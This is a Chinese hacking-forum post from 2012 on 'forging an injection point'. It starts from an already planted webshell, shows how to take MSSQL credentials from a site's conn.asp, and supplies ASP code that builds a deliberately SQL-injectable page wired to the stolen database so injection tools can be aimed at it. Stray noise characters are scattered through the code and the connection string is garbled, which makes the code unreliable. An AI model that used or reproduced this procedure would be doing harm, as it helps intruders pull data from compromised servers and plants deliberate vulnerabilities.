找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1877|回复: 0
打印 上一主题 下一主题

伪造注入点方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:53:08 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:: s% p6 L& L& k' A+ i9 V; v
ASP/Visual Basic代码# v, U4 I! N3 |# l
<!--#include file="xx.asp"-->    " p- R. \- F1 R: @5 {
<%   
6 J5 u- r5 M# b/ rset rs=server.createobject("ADODB.recordset")    9 {6 W+ s& N9 d, h* i
id = request("id")    0 w% \7 O! @, ^3 N' V; S5 S, |
strSQL = "select * from admin where id=" & id   
0 p" v# u4 p/ p% ?2 Mrs.open strSQL,conn,1,3    5 b) G! O. F- t. Y; @
rs.close    + s! p4 P) b9 c9 ?9 t
%>  " N( X* @+ e5 g" a5 t
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!# T5 z8 f, I2 ^  L' `
然后就要构造一个连接数据库的文件了,代码如下:6 u' r' Q" [: n' {6 B5 m
ASP/Visual Basic代码8 I" ~9 d) W+ A
<%            6 L  N+ o6 H9 u/ t6 Y+ y& q4 k2 p
strSQLServerName = "000.000.000.000"     '服务器名称或地址    , _- x* I7 h" R( n) z
strSQLDBUserName = "sqlname"         '数据库帐号   
+ B( i" \0 n) M: kstrSQLDBPassword = "sqlpass"         '数据库密码   
4 E5 c# X/ @# I. t6 nstrSQLDBName = "sqldataname"           '数据库名称    7 y, \+ ?1 ~% J3 x# L8 f* G8 l1 l
Set conn = Server.CreateObject("ADODB.Connection")    , |* W) g, _; v# d7 {! F3 N
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"   
% T3 H4 d  b! T" N% m. u% q0 Gconn.open strCon   
# P5 S  [0 x+ P  h" o1 s# b2 K8 {%>  
( k& \0 l2 w. y. @9 s* {2 N6 F这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功7 E5 ~( e9 P1 z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表